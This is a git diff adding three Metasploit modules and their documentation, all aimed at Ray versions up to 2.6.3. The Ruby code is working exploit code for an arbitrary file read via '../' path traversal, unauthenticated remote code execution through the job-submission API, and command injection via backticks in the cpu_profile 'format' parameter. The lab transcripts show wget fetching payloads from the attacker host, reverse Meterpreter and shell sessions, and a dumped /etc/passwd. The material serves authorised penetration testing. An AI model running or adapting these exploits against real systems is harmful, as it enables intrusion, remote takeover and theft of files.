diff --git a/documentation/modules/auxiliary/gather/ray_lfi_cve_2023_6020.md b/documentation/modules/auxiliary/gather/ray_lfi_cve_2023_6020.md new file mode 100644 index 0000000000..ce6add271b --- /dev/null +++ b/documentation/modules/auxiliary/gather/ray_lfi_cve_2023_6020.md @@ -0,0 +1,76 @@ +## Vulnerable Application + +Ray (<=v2.6.3) is vulnerable to local file inclusion (CVE-2023-6020) + +The vulnerability affects: + + * Ray (<=v2.6.3) + +This module was successfully tested on: + + * Ray (v2.6.3) installed with Docker on Kali Linux 6.6.15 + +### Install and run the vulnerable Ray (v2.6.3) + +1. Install your favorite virtualization engine (VirtualBox or VMware) on your preferred platform. +2. Install Kali Linux (or other Linux distro) in your virtualization engine. +3. Pull pre-built Ray docker container (v2.6.3) in your VM. + `docker pull rayproject/ray:2.6.3` +4. Start the ray container. + `docker run --shm-size=512M -it -p 8265:8265 rayproject/ray:2.6.3` +5. Start ray. + `ray start --head --dashboard-host=0.0.0.0` + +## Verification Steps + +1. Install the application +2. Start msfconsole +3. Do: `use auxiliary/gather/ray_lfi_cve_2023_6020` +4. Do: `set rhost ` +5. Do: `run` +6. You should get a file content + +## Options + +### FILEPATH (Required) + +This is the file to read. Default is `/etc/passwd`. + +## Scenarios + +### Ray (v2.6.3) installed with Docker on Kali Linux 6.6.15 +``` +msf6 > use auxiliary/gather/ray_lfi_cve_2023_6020 +msf6 auxiliary(gather/ray_lfi_cve_2023_6020) > set rhost 192.168.56.6 +rhost => 192.168.56.6 +msf6 auxiliary(gather/ray_lfi_cve_2023_6020) > check +[+] 192.168.56.6:8265 - The target is vulnerable. +msf6 auxiliary(gather/ray_lfi_cve_2023_6020) > run +[*] Running module against 192.168.56.6 + +[*] Running automatic check ("set AutoCheck false" to disable) +[+] The target is vulnerable. +[+] /etc/passwd +root:x:0:0:root:/root:/bin/bash +daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin +bin:x:2:2:bin:/bin:/usr/sbin/nologin +sys:x:3:3:sys:/dev:/usr/sbin/nologin +sync:x:4:65534:sync:/bin:/bin/sync +games:x:5:60:games:/usr/games:/usr/sbin/nologin +man:x:6:12:man:/var/cache/man:/usr/sbin/nologin +lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin +mail:x:8:8:mail:/var/mail:/usr/sbin/nologin +news:x:9:9:news:/var/spool/news:/usr/sbin/nologin +uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin +proxy:x:13:13:proxy:/bin:/usr/sbin/nologin +www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin +backup:x:34:34:backup:/var/backups:/usr/sbin/nologin +list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin +irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin +gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin +nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin +_apt:x:100:65534::/nonexistent:/usr/sbin/nologin +ray:x:1000:100::/home/ray:/bin/bash + +[*] Auxiliary module execution completed +``` diff --git a/documentation/modules/exploit/linux/http/ray_agent_job_rce.md b/documentation/modules/exploit/linux/http/ray_agent_job_rce.md new file mode 100644 index 0000000000..e6469f77ea --- /dev/null +++ b/documentation/modules/exploit/linux/http/ray_agent_job_rce.md @@ -0,0 +1,103 @@ +## Vulnerable Application + +Ray (<=v2.6.3) is vulnerable to RCE via the agent job submission endpoint (CVE-2023-48022) + +The vulnerability affects: + + * Ray (<=v2.6.3) + +This module was successfully tested on: + + * Ray (v2.6.3) installed with Docker on Kali Linux 6.6.15 + +### Install and run the vulnerable Ray (v2.6.3) + +1. Install your favorite virtualization engine (VirtualBox or VMware) on your preferred platform. +2. Install Kali Linux (or other Linux distro) in your virtualization engine. +3. Pull pre-built Ray docker container (v2.6.3) in your VM. + `docker pull rayproject/ray:2.6.3` +4. Start the ray container. + `docker run --shm-size=512M -it -p 8265:8265 rayproject/ray:2.6.3` +5. Start ray. + `ray start --head --dashboard-host=0.0.0.0` + +## Verification Steps + +1. Install the application +2. Start msfconsole +3. Do: `use exploit/linux/http/ray_agent_job_rce` +4. Do: `set rhost ` +5. Do: `set lhost ` +6. Do: `run` +7. You should get a shell or meterpreter + +## Options +No options + +## Scenarios + +### Ray (v2.6.3) installed with Docker on Kali Linux 6.6.15 (target 0) +``` +msf6 > use exploit/linux/http/ray_agent_job_rce +[*] No payload configured, defaulting to linux/x64/meterpreter/reverse_tcp +msf6 exploit(linux/http/ray_agent_job_rce) > set rhost 192.168.56.6 +rhost => 192.168.56.6 +msf6 exploit(linux/http/ray_agent_job_rce) > set lhost 192.168.56.1 +lhost => 192.168.56.1 +msf6 exploit(linux/http/ray_agent_job_rce) > check +[*] 192.168.56.6:8265 - The service is running, but could not be validated. +msf6 exploit(linux/http/ray_agent_job_rce) > run + +[*] Started reverse TCP handler on 192.168.56.1:4444 +[*] Running automatic check ("set AutoCheck false" to disable) +[!] The service is running, but could not be validated. +[+] Command execution successful. Job ID: 'raysubmit_EJDSK2BrhAP8j69n' Submission ID: 'raysubmit_EJDSK2BrhAP8j69n' +[*] Using URL: http://192.168.56.1:8080/kOZWO5HA3wWm2Hh +[*] Command Stager progress - 100.00% done (120/120 bytes) +[*] Client 192.168.56.6 (Wget/1.20.3 (linux-gnu)) requested /kOZWO5HA3wWm2Hh +[*] Sending payload to 192.168.56.6 (Wget/1.20.3 (linux-gnu)) +[*] Sending stage (3045380 bytes) to 192.168.56.6 +[*] Meterpreter session 1 opened (192.168.56.1:4444 -> 192.168.56.6:42052) at 2024-08-10 10:45:48 +0900 +[*] Server stopped. + +meterpreter > sysinfo +Computer : 172.17.0.2 +OS : Ubuntu 20.04 (Linux 6.6.15-amd64) +Architecture : x64 +BuildTuple : x86_64-linux-musl +Meterpreter : x64/linux +``` + +### Ray (v2.6.3) installed with Docker on Kali Linux 6.6.15 (target 1) +``` +msf6 > use exploit/linux/http/ray_agent_job_rce +[*] Using configured payload linux/x64/meterpreter/reverse_tcp +msf6 exploit(linux/http/ray_agent_job_rce) > set rhost 192.168.56.6 +rhost => 192.168.56.6 +msf6 exploit(linux/http/ray_agent_job_rce) > set lhost 192.168.56.1 +lhost => 192.168.56.1 +msf6 exploit(linux/http/ray_agent_job_rce) > set target 1 +target => 1 +msf6 exploit(linux/http/ray_agent_job_rce) > set payload linux/x86/shell/reverse_tcp +payload => linux/x86/shell/reverse_tcp +msf6 exploit(linux/http/ray_agent_job_rce) > check +[*] 192.168.56.6:8265 - The service is running, but could not be validated. +msf6 exploit(linux/http/ray_agent_job_rce) > run + +[*] Started reverse TCP handler on 192.168.56.1:4444 +[*] Running automatic check ("set AutoCheck false" to disable) +[!] The service is running, but could not be validated. +[+] Command execution successful. Job ID: 'raysubmit_RNpiJJt2feNrUrwN' Submission ID: 'raysubmit_RNpiJJt2feNrUrwN' +[*] Using URL: http://192.168.56.1:8080/QtpKXmqA8kq +[*] Command Stager progress - 100.00% done (116/116 bytes) +[*] Client 192.168.56.6 (Wget/1.20.3 (linux-gnu)) requested /QtpKXmqA8kq +[*] Sending payload to 192.168.56.6 (Wget/1.20.3 (linux-gnu)) +[*] Sending stage (36 bytes) to 192.168.56.6 +[*] Command shell session 2 opened (192.168.56.1:4444 -> 192.168.56.6:35136) at 2024-08-10 10:47:37 +0900 +[*] Server stopped. + +whoami +ray +pwd +/home/ray +``` diff --git a/documentation/modules/exploit/linux/http/ray_cpu_profile_cmd_injection_cve_2023_6019.md b/documentation/modules/exploit/linux/http/ray_cpu_profile_cmd_injection_cve_2023_6019.md new file mode 100644 index 0000000000..0726112fca --- /dev/null +++ b/documentation/modules/exploit/linux/http/ray_cpu_profile_cmd_injection_cve_2023_6019.md @@ -0,0 +1,103 @@ +## Vulnerable Application + +Ray (<=v2.6.3) is vulnerable to RCE via cpu_profile command injection vulnerability (CVE-2023-6019) + +The vulnerability affects: + + * Ray (<=v2.6.3) + +This module was successfully tested on: + + * Ray (v2.6.3) installed with Docker on Kali Linux 6.6.15 + +### Install and run the vulnerable Ray (v2.6.3) + +1. Install your favorite virtualization engine (VirtualBox or VMware) on your preferred platform. +2. Install Kali Linux (or other Linux distro) in your virtualization engine. +3. Pull pre-built Ray docker container (v2.6.3) in your VM. + `docker pull rayproject/ray:2.6.3` +4. Start the ray container. + `docker run --shm-size=512M -it -p 8265:8265 rayproject/ray:2.6.3` +5. Start ray. + `ray start --head --dashboard-host=0.0.0.0` + +## Verification Steps + +1. Install the application +2. Start msfconsole +3. Do: `use exploit/linux/http/ray_cpu_profile_cmd_injection_cve_2023_6019` +4. Do: `set rhost ` +5. Do: `set lhost ` +6. Do: `run` +7. You should get a shell or meterpreter + +## Options +No options + +## Scenarios + +### Ray (v2.6.3) installed with Docker on Kali Linux 6.6.15 (target 0) +``` +msf6 > use exploit/linux/http/ray_cpu_profile_cmd_injection_cve_2023_6019 +[*] No payload configured, defaulting to linux/x64/meterpreter/reverse_tcp +msf6 exploit(linux/http/ray_cpu_profile_cmd_injection_cve_2023_6019) > set rhost 192.168.56.6 +rhost => 192.168.56.6 +msf6 exploit(linux/http/ray_cpu_profile_cmd_injection_cve_2023_6019) > set lhost 192.168.56.1 +lhost => 192.168.56.1 +msf6 exploit(linux/http/ray_cpu_profile_cmd_injection_cve_2023_6019) > check +[*] 192.168.56.6:8265 - The service is running, but could not be validated. +msf6 exploit(linux/http/ray_cpu_profile_cmd_injection_cve_2023_6019) > run + +[*] Started reverse TCP handler on 192.168.56.1:4444 +[*] Running automatic check ("set AutoCheck false" to disable) +[!] The service is running, but could not be validated. +[+] Grabbed node info, pid: 129, ip: 172.17.0.2 +[*] Using URL: http://192.168.56.1:8080/2W4ZJ30NqjnfoGE +[*] Client 192.168.56.6 (Wget/1.20.3 (linux-gnu)) requested /2W4ZJ30NqjnfoGE +[*] Sending payload to 192.168.56.6 (Wget/1.20.3 (linux-gnu)) +[*] Sending stage (3045380 bytes) to 192.168.56.6 +[*] Meterpreter session 1 opened (192.168.56.1:4444 -> 192.168.56.6:59072) at 2024-08-10 10:29:05 +0900 +[*] Command Stager progress - 100.00% done (120/120 bytes) +[*] Server stopped. + +meterpreter > sysinfo +Computer : 172.17.0.2 +OS : Ubuntu 20.04 (Linux 6.6.15-amd64) +Architecture : x64 +BuildTuple : x86_64-linux-musl +Meterpreter : x64/linux +``` + +### Ray (v2.6.3) installed with Docker on Kali Linux 6.6.15 (target 1) +``` +msf6 > use exploit/linux/http/ray_cpu_profile_cmd_injection_cve_2023_6019 +[*] Using configured payload linux/x64/meterpreter/reverse_tcp +msf6 exploit(linux/http/ray_cpu_profile_cmd_injection_cve_2023_6019) > set rhost 192.168.56.6 +rhost => 192.168.56.6 +msf6 exploit(linux/http/ray_cpu_profile_cmd_injection_cve_2023_6019) > set lhost 192.168.56.1 +lhost => 192.168.56.1 +msf6 exploit(linux/http/ray_cpu_profile_cmd_injection_cve_2023_6019) > set target 1 +target => 1 +msf6 exploit(linux/http/ray_cpu_profile_cmd_injection_cve_2023_6019) > set payload linux/x86/shell/reverse_tcp +payload => linux/x86/shell/reverse_tcp +msf6 exploit(linux/http/ray_cpu_profile_cmd_injection_cve_2023_6019) > check +[*] 192.168.56.6:8265 - The service is running, but could not be validated. +msf6 exploit(linux/http/ray_cpu_profile_cmd_injection_cve_2023_6019) > run + +[*] Started reverse TCP handler on 192.168.56.1:4444 +[*] Running automatic check ("set AutoCheck false" to disable) +[!] The service is running, but could not be validated. +[+] Grabbed node info, pid: 129, ip: 172.17.0.2 +[*] Using URL: http://192.168.56.1:8080/Mz2SC2mlSp +[*] Client 192.168.56.6 (Wget/1.20.3 (linux-gnu)) requested /Mz2SC2mlSp +[*] Sending payload to 192.168.56.6 (Wget/1.20.3 (linux-gnu)) +[*] Sending stage (36 bytes) to 192.168.56.6 +[*] Command shell session 2 opened (192.168.56.1:4444 -> 192.168.56.6:59210) at 2024-08-10 10:30:49 +0900 +[*] Command Stager progress - 100.00% done (115/115 bytes) +[*] Server stopped. + +whoami +ray +pwd +/home/ray +``` diff --git a/modules/auxiliary/gather/ray_lfi_cve_2023_6020.rb b/modules/auxiliary/gather/ray_lfi_cve_2023_6020.rb new file mode 100644 index 0000000000..de0066a486 --- /dev/null +++ b/modules/auxiliary/gather/ray_lfi_cve_2023_6020.rb @@ -0,0 +1,82 @@ +## +# This module requires Metasploit: https://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +class MetasploitModule < Msf::Auxiliary + include Msf::Exploit::Remote::HttpClient + include Msf::Auxiliary::Report + prepend Msf::Exploit::Remote::AutoCheck + + def initialize(info = {}) + super( + update_info( + info, + 'Name' => 'Ray static arbitrary file read', + 'Description' => %q{ + Ray before 2.8.1 is vulnerable to a local file inclusion. + }, + 'Author' => [ + 'byt3bl33d3r ', # Python Metasploit module + 'danmcinerney ', # Python Metasploit module + 'Takahiro Yokoyama' # Metasploit module + ], + 'License' => MSF_LICENSE, + 'References' => [ + ['CVE', '2023-6020'], + ['URL', 'https://huntr.com/bounties/83dd8619-6dc3-4c98-8f1b-e620fedcd1f6/'], + ['URL', 'https://github.com/protectai/ai-exploits/tree/main/ray'] + ], + 'DisclosureDate' => '2023-11-15', + 'Notes' => { + 'Stability' => [ CRASH_SAFE, ], + 'SideEffects' => [ IOC_IN_LOGS, ], + 'Reliability' => [] + } + ) + ) + + register_options( + [ + Opt::RPORT(8265), + OptString.new('FILEPATH', [ true, 'File to read', '/etc/passwd']) + ] + ) + end + + def check + res = send_request_cgi({ + 'method' => 'GET', + 'uri' => normalize_uri(target_uri.path, 'api/version') + }) + return Exploit::CheckCode::Unknown unless res && res.code == 200 + + ray_version = res.get_json_document['ray_version'] + + return Exploit::CheckCode::Unknown unless ray_version + + return Exploit::CheckCode::Safe unless Rex::Version.new(ray_version) <= Rex::Version.new('2.6.3') + + file_content = lfi('/etc/passwd') + return Exploit::CheckCode::Vulnerable unless file_content.nil? + + Exploit::CheckCode::Appears + end + + def lfi(filepath) + res = send_request_cgi({ + 'method' => 'GET', + 'uri' => normalize_uri(target_uri.path, "static/js/../../../../../../../../../../../../../..#{filepath}") + }) + return unless res && res.code == 200 + + res.body + end + + def run + file_content = lfi(datastore['FILEPATH']) + fail_with(Failure::Unknown, 'Failed to execute LFI') unless file_content + print_good("#{datastore['FILEPATH']}\n#{file_content}") + end + +end diff --git a/modules/exploits/linux/http/ray_agent_job_rce.rb b/modules/exploits/linux/http/ray_agent_job_rce.rb new file mode 100644 index 0000000000..5f9da80d80 --- /dev/null +++ b/modules/exploits/linux/http/ray_agent_job_rce.rb @@ -0,0 +1,125 @@ +## +# This module requires Metasploit: https://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +class MetasploitModule < Msf::Exploit::Remote + Rank = ExcellentRanking + + include Msf::Exploit::Remote::HttpClient + include Msf::Exploit::CmdStager + prepend Msf::Exploit::Remote::AutoCheck + + def initialize(info = {}) + super( + update_info( + info, + 'Name' => 'Ray Agent Job RCE', + 'Description' => %q{ + RCE in Ray via the agent job submission endpoint. + This is intended functionality as Ray's main purpose is executing arbitrary workloads. + By default Ray has no authentication. + }, + 'Author' => [ + 'sierrabearchell', # Vulnerability discovery + 'byt3bl33d3r ', # Python Metasploit module + 'Takahiro Yokoyama' # Metasploit module + ], + 'License' => MSF_LICENSE, + 'References' => [ + ['CVE', '2023-48022'], + ['URL', 'https://huntr.com/bounties/b507a6a0-c61a-4508-9101-fceb572b0385/'], + ['URL', 'https://huntr.com/bounties/787a07c0-5535-469f-8c53-3efa4e5717c7/'] + ], + 'CmdStagerFlavor' => %i[wget], + 'Payload' => { + 'DisableNops' => true + }, + 'Platform' => %w[linux], + 'Targets' => [ + [ 'Linux x64', { 'Arch' => ARCH_X64, 'Platform' => 'linux' } ], + [ 'Linux x86', { 'Arch' => ARCH_X86, 'Platform' => 'linux' } ], + [ 'Linux aarch64', { 'Arch' => ARCH_AARCH64, 'Platform' => 'linux' } ], + [ + 'Linux Command', { + 'Arch' => [ ARCH_CMD ], 'Platform' => [ 'unix', 'linux' ], 'Type' => :nix_cmd, + 'DefaultOptions' => { + 'PAYLOAD' => 'cmd/linux/http/x64/meterpreter_reverse_tcp', + 'FETCH_COMMAND' => 'WGET', + 'MeterpreterTryToFork' => true + } + } + ] + ], + 'DefaultTarget' => 0, + 'DisclosureDate' => '2023-11-15', + 'Notes' => { + 'Stability' => [ CRASH_SAFE, ], + 'SideEffects' => [ ARTIFACTS_ON_DISK, IOC_IN_LOGS ], + 'Reliability' => [ REPEATABLE_SESSION, ] + } + ) + ) + + register_options( + [ + Opt::RPORT(8265), + ] + ) + end + + def get_job_data(cmd) + res = send_request_cgi({ + 'method' => 'POST', + 'uri' => normalize_uri(target_uri.path, 'api/jobs/'), + 'data' => { 'entrypoint' => cmd }.to_json + }) + unless res && res.code == 200 + res = send_request_cgi({ + 'method' => 'POST', + 'uri' => normalize_uri(target_uri.path, 'api/job_agent/jobs/'), + 'data' => { 'entrypoint' => cmd }.to_json + }) + end + return unless res && res.code == 200 + + JSON.parse(res.body) + end + + def check + res = send_request_cgi({ + 'method' => 'GET', + 'uri' => normalize_uri(target_uri.path, 'api/version') + }) + return Exploit::CheckCode::Unknown unless res && res.code == 200 + + ray_version = res.get_json_document['ray_version'] + + return Exploit::CheckCode::Unknown unless ray_version + + return Exploit::CheckCode::Safe unless Rex::Version.new(ray_version) <= Rex::Version.new('2.6.3') + + @job_data = get_job_data('ls') + return Exploit::CheckCode::Vulnerable unless @job_data.nil? + + Exploit::CheckCode::Appears + end + + def exploit + @job_data ||= get_job_data('ls') + if @job_data + print_good("Command execution successful. Job ID: '#{@job_data['job_id']}' Submission ID: '#{@job_data['submission_id']}'") + end + case target['Type'] + when :nix_cmd + execute_command(payload.encoded) + else + execute_cmdstager({ flavor: :wget }) + end + end + + def execute_command(cmd, _opts = {}) + get_job_data(cmd) + end + +end diff --git a/modules/exploits/linux/http/ray_cpu_profile_cmd_injection_cve_2023_6019.rb b/modules/exploits/linux/http/ray_cpu_profile_cmd_injection_cve_2023_6019.rb new file mode 100644 index 0000000000..c385960274 --- /dev/null +++ b/modules/exploits/linux/http/ray_cpu_profile_cmd_injection_cve_2023_6019.rb @@ -0,0 +1,130 @@ +## +# This module requires Metasploit: https://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +class MetasploitModule < Msf::Exploit::Remote + Rank = ExcellentRanking + + include Msf::Exploit::Remote::HttpClient + include Msf::Exploit::CmdStager + prepend Msf::Exploit::Remote::AutoCheck + + def initialize(info = {}) + super( + update_info( + info, + 'Name' => 'Ray cpu_profile command injection', + 'Description' => %q{ + Ray RCE via cpu_profile command injection vulnerability. + }, + 'Author' => [ + 'sierrabearchell', # Vulnerability discovery + 'byt3bl33d3r ', # Python Metasploit module + 'Takahiro Yokoyama' # Metasploit module + ], + 'License' => MSF_LICENSE, + 'References' => [ + ['CVE', '2023-6019'], + ['URL', 'https://huntr.com/bounties/d0290f3c-b302-4161-89f2-c13bb28b4cfe/'], + ], + 'CmdStagerFlavor' => %i[wget], + 'Payload' => { + 'DisableNops' => true + }, + 'Platform' => %w[linux], + 'Targets' => [ + [ 'Linux x64', { 'Arch' => ARCH_X64, 'Platform' => 'linux' } ], + [ 'Linux x86', { 'Arch' => ARCH_X86, 'Platform' => 'linux' } ], + [ 'Linux aarch64', { 'Arch' => ARCH_AARCH64, 'Platform' => 'linux' } ], + [ + 'Linux Command', { + 'Arch' => [ ARCH_CMD ], 'Platform' => [ 'unix', 'linux' ], 'Type' => :nix_cmd, + 'DefaultOptions' => { + 'PAYLOAD' => 'cmd/linux/http/x64/meterpreter_reverse_tcp', + 'FETCH_COMMAND' => 'WGET' + } + } + ] + ], + 'DefaultTarget' => 0, + 'DisclosureDate' => '2023-11-15', + 'Notes' => { + 'Stability' => [ CRASH_SAFE, ], + 'SideEffects' => [ ARTIFACTS_ON_DISK, IOC_IN_LOGS ], + 'Reliability' => [ REPEATABLE_SESSION, ] + } + ) + ) + + register_options( + [ + Opt::RPORT(8265), + ] + ) + end + + def get_nodes + res = send_request_cgi({ + 'method' => 'GET', + 'uri' => normalize_uri(target_uri.path, 'nodes?view=summary') + }) + return unless res && res.code == 200 + + JSON.parse(res.body) + end + + def check + res = send_request_cgi({ + 'method' => 'GET', + 'uri' => normalize_uri(target_uri.path, 'api/version') + }) + return Exploit::CheckCode::Unknown unless res && res.code == 200 + + ray_version = res.get_json_document['ray_version'] + + return Exploit::CheckCode::Unknown unless ray_version + + ray_version = Rex::Version.new(ray_version) + return Exploit::CheckCode::Safe unless Rex::Version.new('2.2.0') <= ray_version && ray_version <= Rex::Version.new('2.6.3') + + @nodes = get_nodes + return Exploit::CheckCode::Vulnerable unless @nodes.nil? + + Exploit::CheckCode::Appears + end + + def exploit + # We need to pass valid node info to /worker/cpu_profile for the server to process the request + # First we list all nodes and grab the pid and ip of the first one (could be any) + @nodes ||= get_nodes + fail_with(Failure::Unknown, 'Failed to get nodes') unless @nodes + first_node = @nodes['data']['summary'].first + fail_with(Failure::Unknown, 'Failed to get pid') unless first_node.key?('agent') && first_node['agent'].key?('pid') + pid = first_node['agent']['pid'] + fail_with(Failure::Unknown, 'Failed to get ip') unless first_node.key?('ip') + ip = first_node['ip'] + print_good("Grabbed node info, pid: #{pid}, ip: #{ip}") + case target['Type'] + when :nix_cmd + execute_command(payload.encoded, { pid: pid, ip: ip }) + else + execute_cmdstager({ flavor: :wget, pid: pid, ip: ip }) + end + end + + def execute_command(cmd, opts = {}) + send_request_cgi({ + 'method' => 'GET', + 'uri' => normalize_uri(target_uri.path, 'worker/cpu_profile'), + 'vars_get' => { + 'pid' => opts[:pid], + 'ip' => opts[:ip], + 'duration' => 5, + 'native' => 0, + 'format' => "`#{cmd}`" + } + }) + end + +end